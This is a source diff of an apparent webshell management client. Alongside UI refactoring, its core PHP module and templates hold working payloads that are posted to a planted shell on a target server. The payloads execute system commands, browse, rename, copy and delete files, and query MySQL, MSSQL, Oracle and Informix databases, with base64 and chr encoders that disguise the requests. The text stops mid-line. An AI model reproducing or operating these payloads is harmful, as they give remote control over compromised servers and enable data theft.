a/source/core/php/index.jsx +++ b/source/core/php/index.jsx @@ -1,190 +1,58 @@ -// -// 代码模板::php -// -/* -用法: -const php = new PHP({ - url: 'http://target/shell.php', - pwd: 'shell', - encode: 'gbk', - encoder: 'base64' -}); +/** + * PHP服务端脚本模板 + * 开写:2016/04/12 + * 更新:- + * 作者:蚁逅 + */ +'use strict'; -// 基本信息 -php.base.info((ret) => { - -}); -// 执行命令 -php.command.system({ - cmd:'whoami', - bin: '/bin/sh' -}, (ret) => { - -}); -... -*/ - -const iconv = global.require('iconv-lite'); - -class PHP { +import Base from '../base'; +class PHP extends Base { constructor(opts) { - this.__opts__ = opts; - this.parseTpl([ + super(opts); + // 解析模板 + [ 'base', 'command', 'filemanager', 'database/mysql', 'database/mssql', 'database/oracle', 'database/informix' - ]); - this.parseEnr(['base64', 'chr']); - } - - // 格式化函数 - format() { - const encode = this.__opts__['encode'] || 'utf8'; - return { - base64: (str) => { - // 编码 - const _str_ = iconv.encode(new Buffer(str), encode); - return new Buffer(_str_).toString('base64'); - }, - // 转换为16进制::编码 - hex: (b) => { - // let ret = []; - const buff = iconv.encode(new Buffer(b), encode); - return new Buffer(buff).toString('hex').toUpperCase(); - - // buff.toJSON()['data'].map((i) => { - // let _ = i.toString(16); - // _.length < 2 ? _ = `0${_}` : null; - // ret.push(_); - // }); - - // return ret.join('').toUpperCase(); - }, - // 转换为16进制::不编码 - buffer: (b) => { - return new Buffer(b).toString('hex').toUpperCase(); - // let ret = []; - - // b.toJSON()['data'].map((i) => { - // let _ = i.toString(16); - // _.length < 2 ? _ = `0${_}` : null; - // ret.push(_); - // }); - - // return ret.join('').toUpperCase(); - } - }; - } - - // 解析模板 - parseTpl(tpl) { - let _export = {}; - - // 模板格式化函数 - const format = this.format(); - - // 加载模板代码 - tpl.map((t) => { - // 解析模板 - this[t.replace(/\//g, '_')] = {}; - let m = require(`./template/${t}`); - for (let _ in m) { - this[t.replace(/\//g, '_')][_] = ( (c) => { - // 如果需要参数 - if (typeof(c) === 'object') { - return (argv, success, error, hook) => { - let data = $.extend({}, c); - // 格式化参数 - for (let d in data) { - (data[d].match(/#{([\w\:]+)}/g) || []).map( (tag) => { - let _t = tag.substr(2, tag.length - 3); - // 如果需要字符处理 - let _f = _t.split('::'); - let _ff; - if ((_f.length > 0) && (_ff = format[_f[0]])) { - // _t = _ff(argv[_f[1]] || _t); - _t = _ff(argv[_f[1]] || ''); - }else{ - // _t = argv[_t] || _t; - _t = argv[_t] || ''; - } - data[d] = data[d].replace(tag, _t) - } ); - } - this.ajax(data, success, error, hook); - } - }else{ - let data = { - _: c - }; - return (success, error, hook) => { - this.ajax(data, success, error, hook); - } - } - } )(m[_]); - } + ].map((_) => { + this.parseTemplate(`./php/template/${_}`); }); - } - - // 解析编码模块 - parseEnr(edr) { - let encoder = { - // 默认编码器 - default: (pwd, data) => { - data[pwd] = data['_']; - delete data['_']; - return data; - } - }; - edr.map((_) => { - encoder[_] = require(`./encoder/${_}`); + // 解析编码器 + this.encoders.map((_) => { + this.parseEncoder(`./php/encoder/${_}`); }); - this.__encoder__ = encoder; } - ajax(code, success, error, hook) { - // 补全代码 - let post = $.extend({}, code); - // 随机ID(用于监听数据来源) - const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_'); - const tag_s = '-=:{'; - const tag_e = '}:=-'; - const encode = this.__opts__['encode'] || 'utf8'; - - post['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);echo "${tag_s}";${post['_']};echo "${tag_e}";die();`; - - // 编码处理模板 - const encoder = this.__encoder__[this.__opts__['encoder'] || 'default'] || this.__encoder__['default']; - const data = encoder(this.__opts__['pwd'], post); - - // 监听数据返回 - antSword['ipcRenderer'] - // 请求完毕返回数据{text,buff} - .on(`request-${hash}`, (event, arg) => { - success(arg['text'], arg['buff']); - }) - // HTTP请求返回字节流 - .on(`request-chunk-${hash}`, (event, ret) => { - hook ? hook(ret) : null; - }) - // 数据请求错误 - .on(`request-error-${hash}`, (event, ret) => { - error ? error(ret) : null; - }) - // 发送请求数据 - .send('request', { - url: this.__opts__['url'], - hash: hash, - data: data, - tag_s: tag_s, - tag_e: tag_e, - encode: encode - }); + /** + * 获取编码器列表 + * ? 可以在antSword.core.php.prototype.encoders中获取此变量 + * @return {array} 编码器列表 + */ + get encoders() { + return ['chr', 'base64']; } + /** + * HTTP请求数据组合函数 + * @param {Object} data 通过模板解析后的代码对象 + * @return {Promise} 返回一个Promise操作对象 + */ + complete(data) { + // 分隔符号 + let tag_s = "->|"; + let tag_e = "|<-"; + + // 组合完整的代码 + let tmpCode = data['_']; + data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);echo "${tag_s}";${tmpCode};echo "${tag_e}";die();`; + + // 使用编码器进行处理并返回 + return this.encodeComplete(tag_s, tag_e, data); + } } -module.exports = PHP; \ No newline at end of file +module.exports = PHP; diff --git a/source/core/php/template/argv.jsx b/source/core/php/template/argv.jsx deleted file mode 100644 index 3390a1de..00000000 --- a/source/core/php/template/argv.jsx +++ /dev/null @@ -1,14 +0,0 @@ -/** - * 在模板中使用 - * 1. 加载需要的参数列表: import { arg1, arg2, arg3 } from './argv'; - * 2. 嵌入代码参数中:codes={[arg1]: `echo "${arg1}";`}... - **/ - -const random = () => `0x${(Math.random() + Math.random()).toString(16).substr(2)}`; - -export const arg1 = random(); -export const arg2 = random(); -export const arg3 = random(); -export const arg4 = random(); -export const arg5 = random(); -export const arg6 = random(); \ No newline at end of file diff --git a/source/core/php/template/base.jsx b/source/core/php/template/base.jsx index aafa989b..4ded4705 100644 --- a/source/core/php/template/base.jsx +++ b/source/core/php/template/base.jsx @@ -1,9 +1,9 @@ -// -// 基础信息模板 -// :用于获取系统信息、当前用户、路径、盘符列表 -// +/** + * 基础信息模板 + * ? 获取系统信息、当前用户、当前路径、盘符列表 + */ -module.exports = { +module.exports = () => ({ info: `$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="\t";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="\t{$s}";echo $R;` -} \ No newline at end of file +}) diff --git a/source/core/php/template/command.jsx b/source/core/php/template/command.jsx index 49ad50a5..92dd334d 100644 --- a/source/core/php/template/command.jsx +++ b/source/core/php/template/command.jsx @@ -1,11 +1,8 @@ -// -// 命令执行模板 -// :默认使用`exec`代码模板 -// +/** + * 虚拟终端命令执行 + */ -import { arg1, arg2 } from './argv'; - -module.exports = { +module.exports = (arg1, arg2) => ({ exec: { _: `$p=base64_decode($_POST["${arg1}"]);$s=base64_decode($_POST["${arg2}"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"ret={$ret}":"";`, @@ -19,4 +16,4 @@ module.exports = { [arg1]: "#{base64::bin}", [arg2]: "#{base64::cmd}" } -} \ No newline at end of file +}) diff --git a/source/core/php/template/database/informix.jsx b/source/core/php/template/database/informix.jsx index aebd0383..9dc46855 100644 --- a/source/core/php/template/database/informix.jsx +++ b/source/core/php/template/database/informix.jsx @@ -1,14 +1,9 @@ -// -// 数据库管理模板::informix -// -// :分隔符为 -> \t|\t +/** + * 数据库管理模板::informix + * i 数据分隔符号 => \t|\t + */ -import { - arg1, arg2, arg3, - arg4, arg5, arg6 -} from '../argv'; - -module.exports = { +module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 显示所有数据库 show_databases: { _: @@ -45,4 +40,4 @@ module.exports = { [arg4]: '#{db}', [arg5]: '#{base64::sql}' } -} \ No newline at end of file +}) diff --git a/source/core/php/template/database/mssql.jsx b/source/core/php/template/database/mssql.jsx index aef1336e..d023c62d 100644 --- a/source/core/php/template/database/mssql.jsx +++ b/source/core/php/template/database/mssql.jsx @@ -1,14 +1,9 @@ -// -// 数据库管理模板::mssql -// -// :分隔符为 -> \t|\t +/** + * 数据库管理模板::mssql + * i 数据分隔符号 => \t|\t + */ -import { - arg1, arg2, arg3, - arg4, arg5, arg6 -} from '../argv'; - -module.exports = { +module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 显示所有数据库 show_databases: { _: @@ -46,4 +41,4 @@ module.exports = { [arg4]: '#{db}', [arg5]: '#{base64::sql}' } -} \ No newline at end of file +}) diff --git a/source/core/php/template/database/mysql.jsx b/source/core/php/template/database/mysql.jsx index 59cb9de0..c802d65a 100644 --- a/source/core/php/template/database/mysql.jsx +++ b/source/core/php/template/database/mysql.jsx @@ -1,14 +1,9 @@ -// -// 数据库管理模板::mysql -// -// :分隔符为 -> \t|\t +/** + * 数据库管理模板::mysql + * i 数据分隔符号 => \t|\t + */ -import { - arg1, arg2, arg3, - arg4, arg5, arg6 -} from '../argv'; - -module.exports = { +module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 显示所有数据库 show_databases: { _: @@ -47,4 +42,4 @@ module.exports = { [arg5]: '#{base64::sql}', [arg6]: '#{encode}' } -} \ No newline at end of file +}) diff --git a/source/core/php/template/database/oracle.jsx b/source/core/php/template/database/oracle.jsx index cd3171b6..ee1f9ce7 100644 --- a/source/core/php/template/database/oracle.jsx +++ b/source/core/php/template/database/oracle.jsx @@ -1,14 +1,9 @@ -// -// 数据库管理模板::oracle -// -// :分隔符为 -> \t|\t +/** + * 数据库管理模板::oracle + * i 数据分隔符号 => \t|\t + */ -import { - arg1, arg2, arg3, - arg4, arg5, arg6 -} from '../argv'; - -module.exports = { +module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 显示所有数据库 show_databases: { _: @@ -45,4 +40,4 @@ module.exports = { [arg4]: '#{db}', [arg5]: '#{base64::sql}' } -} \ No newline at end of file +}) diff --git a/source/core/php/template/filemanager.jsx b/source/core/php/template/filemanager.jsx index d139294e..fc3e0c6b 100644 --- a/source/core/php/template/filemanager.jsx +++ b/source/core/php/template/filemanager.jsx @@ -1,10 +1,8 @@ -// -// 文件管理模板 -// +/** + * 文件管理模板 + */ -import { arg1, arg2, arg3 } from './argv'; - -module.exports = { +module.exports = (arg1, arg2, arg3) => ({ dir: { _: `$D=base64_decode($_POST["${arg1}"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}`, @@ -76,4 +74,4 @@ module.exports = { [arg1]: "#{base64::url}", [arg2]: "#{base64::path}" } -} \ No newline at end of file +}) diff --git a/source/language/en.jsx b/source/language/en.jsx index cf6fead7..a0109e18 100644 --- a/source/language/en.jsx +++ b/source/language/en.jsx @@ -391,9 +391,7 @@ module.exports = { save: 'Save' }, form: { - label: 'Select language', - zh: '简体中文', - en: 'English' + label: 'Select language' }, success: 'Setting language success!', confirm: { diff --git a/source/language/index.jsx b/source/language/index.jsx new file mode 100644 index 00000000..506fd8b7 --- /dev/null +++ b/source/language/index.jsx @@ -0,0 +1,24 @@ +/** + * 中国蚁剑::语言模板 + */ +'use strict'; + +const languages = { + 'en': 'English', + 'zh': '简体中文' +} + +// 获取本地设置语言(如若没有,则获取浏览器语言 +let lang = antSword['storage']('language', + false, + navigator.language +); + +// 判断本地设置语言是否符合语言模板 +lang = languages[lang] ? lang : 'en'; + +// 返回语言模板 +let langModule = require(`./${lang}`); +langModule.__languages__ = languages; + +module.exports = langModule; diff --git a/source/language/zh.jsx b/source/language/zh.jsx index f1a1de69..fce9ddfb 100644 --- a/source/language/zh.jsx +++ b/source/language/zh.jsx @@ -392,9 +392,7 @@ module.exports = { save: '保存' }, form: { - label: '选择显示语言', - zh: '简体中文', - en: 'English' + label: '选择显示语言' }, success: '保存语言设置成功!', confirm: { diff --git a/source/modules/database/asp/index.jsx b/source/modules/database/asp/index.jsx index dee8fd80..2d358f79 100644 --- a/source/modules/database/asp/index.jsx +++ b/source/modules/database/asp/index.jsx @@ -1,7 +1,7 @@ -// +// // 数据库驱动::ASP // 支持数据库:access,sqlserver,mysql -// +// class ASP { @@ -9,9 +9,9 @@ class ASP { this.opt = opt; this.core = this.opt.core; this.manager = this.opt.super; - // + // // * 数据库驱动列表 - // + // this.conns = { 'dsn': 'Dsn=DsnName;', 'mysql': 'Driver={MySQL};Server=localhost;database=mysql;UID=root;PWD=', @@ -254,11 +254,15 @@ class ASP { _id: this.manager.opt['_id'], id: id }); - this.core[`database_${conf['type']}`].show_databases( - { - conn: conf['conn'], - dbname: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database' - }, (ret) => { + + this.core.request( + this.core[`database_${conf['type']}`].show_databases( + { + conn: conf['conn'], + dbname: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database' + }) + ).then((res) => { + let ret = res['text']; const arr = ret.split('\t'); if (arr.length === 1 && ret === '') { toastr.warning('执行完毕,没有结果返回') @@ -279,7 +283,7 @@ class ASP { this.manager.list.imgs[1]); }); this.manager.list.layout.progressOff(); - }, (err) => { + }).catch((err) => { toastr.error('获取数据库列表失败!' + err['status'] || JSON.stringify(err), 'ERROR'); this.manager.list.layout.progressOff(); }); @@ -293,11 +297,15 @@ class ASP { _id: this.manager.opt['_id'], id: id }); - this.core[`database_${conf['type']}`].show_tables( - { - conn: conf['conn'], - dbname: db - }, (ret) => { + + this.core.request( + this.core[`database_${conf['type']}`].show_tables( + { + conn: conf['conn'], + dbname: db + }) + ).then((res) => { + let ret = res['text']; const arr = ret.split('\t'); const _db = new Buffer(db).toString('base64'); // 删除子节点 @@ -328,11 +336,15 @@ class ASP { _id: this.manager.opt['_id'], id: id }); - this.core[`database_${conf['type']}`].show_columns( - { - conn: conf['conn'], - table: conf['type'] === 'oracle' ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A) WHERE N=1` : `SELECT TOP 1 * FROM ${table}` - }, (ret) => { + + this.core.request( + this.core[`database_${conf['type']}`].show_columns( + { + conn: conf['conn'], + table: conf['type'] === 'oracle' ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A) WHERE N=1` : `SELECT TOP 1 * FROM ${table}` + }) + ).then((res) => { + let ret = res['text']; const arr = ret.split('\t'); const _db = new Buffer(db).toString('base64'); const _table = new Buffer(table).toString('base64'); @@ -363,14 +375,18 @@ class ASP { // 执行SQL execSQL(sql) { this.manager.query.layout.progressOn(); - this.core[`database_${this.dbconf['type']}`].query({ - conn: this.dbconf['conn'], - sql: sql - }, (ret) => { + + this.core.request( + this.core[`database_${this.dbconf['type']}`].query({ + conn: this.dbconf['conn'], + sql: sql + }) + ).then((res) => { + let ret = res['text']; // 更新执行结果 this.updateResult(ret); this.manager.query.layout.progressOff(); - }, (err) => { + }).catch((err) => { console.error(err); }); } @@ -455,4 +471,4 @@ class ASP { } -module.exports = ASP; \ No newline at end of file +module.exports = ASP; diff --git a/source/modules/database/custom/index.jsx b/source/modules/database/custom/index.jsx index 10a13675..8ea95d03 100644 --- a/source/modules/database/custom/index.jsx +++ b/source/modules/database/custom/index.jsx @@ -250,12 +250,14 @@ class ASP { _id: this.manager.opt['_id'], id: id }); - this.core[`database_${conf['type']}`].show_databases( - { - conn: conf['conn'], - encode: this.manager.opt.encode, - db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database' - }, (ret) => { + this.core.request( + this.core[`database_${conf['type']}`].show_databases({ + conn: conf['conn'], + encode: this.manager.opt.encode, + db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database' + }) + ).then((res) => { + let ret = res['text']; const arr = ret.split('\t'); if (arr.length === 1 && ret === '') { toastr.warning('执行完毕,没有结果返回') @@ -276,7 +278,7 @@ class ASP { this.manager.list.imgs[1]); }); this.manager.list.layout.progressOff(); - }, (err) => { + }).catch((err) => { toastr.error('获取数据库列表失败!' + err['status'] || JSON.stringify(err), 'ERROR'); this.manager.list.layout.progressOff(); }); @@ -290,12 +292,16 @@ class ASP { _id: this.manager.opt['_id'], id: id }); - this.core[`database_${conf['type']}`].show_tables( - { - conn: conf['conn'], - encode: this.manager.opt.encode, - db: db - }, (ret) => { + + this.core.request( + this.core[`database_${conf['type']}`].show_tables( + { + conn: conf['conn'], + encode: this.manager.opt.encode, + db: db + }) + ).then((res) => { + let ret = res['text']; const arr = ret.split('\t'); const _db = new Buffer(db).toString('base64'); // 删除子节点 @@ -326,13 +332,17 @@ class ASP { _id: this.manager.opt['_id'], id: id }); - this.core[`database_${conf['type']}`].show_columns( - { - conn: conf['conn'], - encode: this.manager.opt.encode, - db: db, - table: table - }, (ret) => { + + this.core.request( + this.core[`database_${conf['type']}`].show_columns( + { + conn: conf['conn'], + encode: this.manager.opt.encode, + db: db, + table: table + }) + ).then((res) => { + let ret = res['text']; const arr = ret.split('\t'); const _db = new Buffer(db).toString('base64'); const _table = new Buffer(table).toString('base64'); @@ -363,15 +373,19 @@ class ASP { // 执行SQL execSQL(sql) { this.manager.query.layout.progressOn(); - this.core[`database_${this.dbconf['type']}`].query({ - conn: this.dbconf['conn'], - encode: this.manager.opt.encode, - sql: sql - }, (ret) => { + + this.core.request( + this.core[`database_${this.dbconf['type']}`].query({ + conn: this.dbconf['conn'], + encode: this.manager.opt.encode, + sql: sql + }) + ).then((res) => { + let ret = res['text']; // 更新执行结果 this.updateResult(ret); this.manager.query.layout.progressOff(); - }, (err) => { + }).catch((err) => { console.error(err); }); } diff --git a/source/modules/database/php/index.jsx b/source/modules/database/php/index.jsx index 22f3952e..c9eacbdc 100644 --- a/source/modules/database/php/index.jsx +++ b/source/modules/database/php/index.jsx @@ -1,7 +1,7 @@ -// +// // 数据库驱动::PHP // 支持数据库:mysql,mssql,oracle,informix -// +// const LANG = antSword['language']['database']; const LANG_T = antSword['language']['toastr']; @@ -271,12 +271,14 @@ class PHP { _id: this.manager.opt['_id'], id: id }); - this.core[`database_${conf['type']}`].show_databases( - { - host: conf['host'], - user: conf['user'], - passwd: conf['passwd'] - }, (ret) => { + this.core.request( + this.core[`database_${conf['type']}`].show_databases({ + host: conf['host'], + user: conf['user'], + passwd: conf['passwd'] + }) + ).then((res) => { + let ret = res['text']; const arr = ret.split('\t'); if (arr.length === 1 && ret === '') { toastr.warning(LANG['result']['warning'], LANG_T['warning']); @@ -297,7 +299,7 @@ class PHP { this.manager.list.imgs[1]); }); this.manager.list.layout.progressOff(); - }, (err) => { + }).catch((err) => { toastr.error(LANG['result']['error']['database'](err['status'] || JSON.stringify(err)), LANG_T['error']); this.manager.list.layout.progressOff(); }); @@ -311,13 +313,16 @@ class PHP { _id: this.manager.opt['_id'], id: id }); - this.core[`database_${conf['type']}`].show_tables( - { - host: conf['host'], - user: conf['user'], - passwd: conf['passwd'], - db: db - }, (ret) => { + + this.core.request( + this.core[`database_${conf['type']}`].show_tables({ + host: conf['host'], + user: conf['user'], + passwd: conf['passwd'], + db: db + }) + ).then((res) => { + let ret = res['text']; const arr = ret.split('\t'); const _db = new Buffer(db).toString('base64'); // 删除子节点 @@ -337,7 +342,7 @@ class PHP { ); }); this.manager.list.layout.progressOff(); - }, (err) => { + }).catch((err) => { toastr.error(LANG['result']['error']['table'](err['status'] || JSON.stringify(err)), LANG_T['error']); this.manager.list.layout.progressOff(); }); @@ -351,14 +356,17 @@ class PHP { _id: this.manager.opt['_id'], id: id }); - this.core[`database_${conf['type']}`].show_columns( - { - host: conf['host'], - user: conf['user'], - passwd: conf['passwd'], - db: db, - table: table - }, (ret) => { + + this.core.request( + this.core[`database_${conf['type']}`].show_columns({ + host: conf['host'], + user: conf['user'], + passwd: conf['passwd'], + db: db, + table: table + }) + ).then((res) => { + let ret = res['text']; const arr = ret.split('\t'); const _db = new Buffer(db).toString('base64'); const _table = new Buffer(table).toString('base64'); @@ -380,7 +388,7 @@ class PHP { // 更新编辑器SQL语句 this.manager.query.editor.session.setValue(`SELECT * FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`); this.manager.list.layout.progressOff(); - }, (err) => { + }).catch((err) => { toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']); this.manager.list.layout.progressOff(); }); @@ -389,18 +397,22 @@ class PHP { // 执行SQL execSQL(sql) { this.manager.query.layout.progressOn(); - this.core[`database_${this.dbconf['type']}`].query({ - host: this.dbconf['host'], - user: this.dbconf['user'], - passwd: this.dbconf['passwd'], - db: this.dbconf['database'], - sql: sql, - encode: this.dbconf['encode'] || 'utf8' - }, (ret) => { + + this.core.request( + this.core[`database_${this.dbconf['type']}`].query({ + host: this.dbconf['host'], + user: this.dbconf['user'], + passwd: this.dbconf['passwd'], + db: this.dbconf['database'], + sql: sql, + encode: this.dbconf['encode'] || 'utf8' + }) + ).then((res) => { + let ret = res['text']; // 更新执行结果 this.updateResult(ret); this.manager.query.layout.progressOff(); - }, (err) => { + }).catch((err) => { toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); this.manager.query.layout.progressOff(); }); @@ -484,4 +496,4 @@ class PHP { } -module.exports = PHP; \ No newline at end of file +module.exports = PHP; diff --git a/source/modules/filemanager/files.jsx b/source/modules/filemanager/files.jsx index 1eab43ba..d713c135 100644 --- a/source/modules/filemanager/files.jsx +++ b/source/modules/filemanager/files.jsx @@ -194,6 +194,7 @@ class Files { grid.setInitWidths("40,*,150,100,100"); grid.setColAlign("center,left,left,right,center"); grid.enableMultiselect(true); + // grid.enableDragAndDrop(true); // grid.enableMultiline(true); // grid右键 @@ -368,6 +369,23 @@ class Files { // 剪贴板 this.Clipboard = {}; + + // 文件拖拽上传 + $(this.cell.cell).on({ + dragleave: (e) => { e.preventDefault() }, + drop: (e) => { + e.preventDefault(); + let filePaths = []; + let files = e.originalEvent['dataTransfer']['files'] || {}; + for (let i = 0; i < files.length; i++) { + let f = files.item(i); + filePaths.push(f['path']); + } + this.manager.uploadFile(filePaths); + }, + dragenter: (e) => { e.preventDefault() }, + dragover: (e) => { e.preventDefault() } + }); } // 刷新当前目录 diff --git a/source/modules/filemanager/folder.jsx b/source/modules/filemanager/folder.jsx index edff7cac..c2bd7a0e 100644 --- a/source/modules/filemanager/folder.jsx +++ b/source/modules/filemanager/folder.jsx @@ -1,6 +1,6 @@ -// +// // 左侧目录 模块 -// +// const LANG_T = antSword['language']['toastr']; const LANG = antSword['language']['filemanager']['folder']; @@ -11,7 +11,6 @@ class Folder { // 1.cell: 左侧layout.cell对象 constructor(cell, manager) { cell.setWidth(250); - cell.setText(` ${LANG['title']}`); // 创建tree let tree = cell.attachTree(); // tree事件 @@ -23,6 +22,7 @@ class Folder { this.cell = cell; this.cache = {}; this.manager = manager; + this.setTitle(0); } @@ -44,12 +44,15 @@ class Folder { self.cache[curPath] = 0; }); // 2. 解析当前子目录 + let folderNum = 0; files.map((f) => { let _ = f['name']; if (!_.endsWith('/') || ['./', '../'].indexOf(_) !== -1) {return}; self.cache[`${curPath}${_}`] = 0; + folderNum ++; }); - + // 设置标题 + this.setTitle(folderNum); // 3. 解析缓存为树形菜单虚拟对象 // /var/www/html 根据/分割为数组,循环,相加,增加到虚拟缓存 @@ -74,8 +77,8 @@ class Folder { for (let _ in obj) { let _path = path + _; let _obj = { - id: _path, - text: (_.length === 1 || (_.endsWith(':/') && _.length === 3)) ? _ : _.replace(/\/$/, '') + id: antSword.noxss(_path), + text: antSword.noxss((_.length === 1 || (_.endsWith(':/') && _.length === 3)) ? _ : _.replace(/\/$/, '')) }; let _result = parseItem(obj[_], _path); if (_result) { @@ -100,6 +103,14 @@ class Folder { this.cell.progressOff(); } + /** + * 设置标题 + * @param {Number} num 当前目录数 + */ + setTitle(num) { + this.cell.setText(` ${LANG['title']} (${num})`); + } + } -export default Folder; \ No newline at end of file +export default Folder; diff --git a/source/modules/filemanager/index.jsx b/source/modules/filemanager/index.jsx index 7ce50b95..7d5357d6 100644 --- a/source/modules/filemanager/index.jsx +++ b/source/modules/filemanager/index.jsx @@ -1,6 +1,9 @@ -// -// 文件管理模块 -// +/** + * 文件管理模板 + * 更新:2016/04/13 + * 作者:蚁逅 + */ +'use strict'; import Files from './files'; import Tasks from './tasks'; @@ -25,13 +28,15 @@ class FileManager { tabbar.addTab( `tab_filemanager_${hash}`, - // ` ${LANG['title']} \/\/ ${opts['ip']}`, ` ${opts['ip']}`, null, null, true, true ); // 创建框架 const cell = tabbar.cells(`tab_filemanager_${hash}`); + // 增加到全局变量方便调试 + antSword['modules']['filemanager'] = antSword['modules']['filemanager'] || {}; + antSword['modules']['filemanager'][hash] = this; this.isWin = true; this.path = '/'; @@ -51,14 +56,24 @@ class FileManager { this.initUI(cache_info); }else{ this.cell.progressOn(); - this.core.base.info((ret) => { - this.initUI(ret); + this.core.request( + this.core.base.info() + ).then((ret) => { + this.initUI(ret['text']); this.cell.progressOff(); - }, (err) => { + }).catch((err) => { this.cell.progressOff(); this.cell.close(); toastr.error((typeof(err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']); }); + // this.core.base.info((ret) => { + // this.initUI(ret); + // this.cell.progressOff(); + // }, (err) => { + // this.cell.progressOff(); + // this.cell.close(); + // toastr.error((typeof(err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']); + // }); } } @@ -131,9 +146,12 @@ class FileManager { return callback(JSON.parse(cache)); }; - this.core.filemanager.dir({ - path: path - }, (ret) => { + this.core.request( + this.core.filemanager.dir({ + path: path + }) + ).then((res) => { + let ret = res['text']; // 判断是否出错 if (ret.startsWith('ERROR://')) { callback([]); @@ -167,9 +185,49 @@ class FileManager { // 增加缓存 // self.cache[path] = data; this.cache.set(cache_tag, JSON.stringify(data)); - }, (err) => { + }).catch((err) => { toastr.error((err instanceof Object) ? JSON.stringify(err) : String(err), LANG_T['error']); - }); + }) + + // this.core.filemanager.dir({ + // path: path + // }, (ret) => { + // // 判断是否出错 + // if (ret.startsWith('ERROR://')) { + // callback([]); + // return toastr.error(ret.substr(9), LANG_T['error']); + // }; + // let tmp = ret.split('\n'); + // + // tmp.sort(); + // + // let folders = []; + // let files = []; + // + // tmp.map( (t) => { + // let _ = t.split('\t'); + // let d = { + // name: _[0], + // time: _[1], + // size: _[2], + // attr: _[3] + // } + // if (_[0].endsWith('/')) { + // folders.push(d); + // }else{ + // files.push(d); + // } + // } ); + // + // let data = folders.concat(files); + // callback(data); + // + // // 增加缓存 + // // self.cache[path] = data; + // this.cache.set(cache_tag, JSON.stringify(data)); + // }, (err) => { + // toastr.error((err instanceof Object) ? JSON.stringify(err) : String(err), LANG_T['error']); + // }); } // 更改目录,返回最终绝对路径 @@ -225,9 +283,12 @@ class FileManager { ((p) => { const path = this.path + p; this.files.cell.progressOn(); - this.core.filemanager.delete({ - path: path - }, (ret) => { + this.core.request( + this.core.filemanager.delete({ + path: path + }) + ).then((res) => { + let ret = res['text']; this.files.cell.progressOff(); if (ret === '1') { toastr.success(LANG['delete']['success'](path), LANG_T['success']); @@ -235,10 +296,24 @@ class FileManager { }else{ toastr.error(LANG['delete']['error'](path, ret === '0' ? false : ret), LANG_T['error']); } - }, (err) => { + }).catch((err) => { this.files.cell.progressOff(); toastr.error(LANG['delete']['error'](path, err), LANG_T['error']); - }) + }); + // this.core.filemanager.delete({ + // path: path + // }, (ret) => { + // this.files.cell.progressOff(); + // if (ret === '1') { + // toastr.success(LANG['delete']['success'](path), LANG_T['success']); + // this.files.refreshPath(); + // }else{ + // toastr.error(LANG['delete']['error'](path, ret === '0' ? false : ret), LANG_T['error']); + // } + // }, (err) => { + // this.files.cell.progressOff(); + // toastr.error(LANG['delete']['error'](path, err), LANG_T['error']); + // }) })(p); }); } @@ -254,10 +329,13 @@ class FileManager { const target = this.path + name; this.files.cell.progressOn(); - this.core.filemanager.copy({ - path: source, - target: target - }, (ret) => { + this.core.request( + this.core.filemanager.copy({ + path: source, + target: target + }) + ).then((res) => { + let ret = res['text']; this.files.cell.progressOff(); if (ret === '1') { // 刷新目录 @@ -268,7 +346,7 @@ class FileManager { }else{ toastr.error(LANG['paste']['error'](name, ret === '0' ? false : ret), LANG_T['error']); } - }, (err) => { + }).catch((err) => { toastr.error(LANG['paste']['error'](name, err), LANG_T['error']); }); } @@ -281,10 +359,13 @@ class FileManager { title: ` ${LANG['rename']['title']} (${antSword.noxss(name)})` }, (value, index, elem) => { this.files.cell.progressOn(); - this.core.filemanager.rename({ - path: this.path + name, - name: this.path + value + ((isDir && !value.endsWith('/')) ? '/' : '') - }, (ret) => { + this.core.request( + this.core.filemanager.rename({ + path: this.path + name, + name: this.path + value + ((isDir && !value.endsWith('/')) ? '/' : '') + }) + ).then((res) => { + let ret = res['text']; this.files.cell.progressOff(); if (ret === '1') { this.files.refreshPath(); @@ -292,7 +373,7 @@ class FileManager { }else{ toastr.error(LANG['rename']['error'](ret === '0' ? false : ret), LANG_T['error']); } - }, (err) => { + }).catch((err) => { toastr.error(LANG['rename']['error'](err), LANG_T['error']); }); layer.close(index); @@ -306,9 +387,12 @@ class FileManager { title: ` 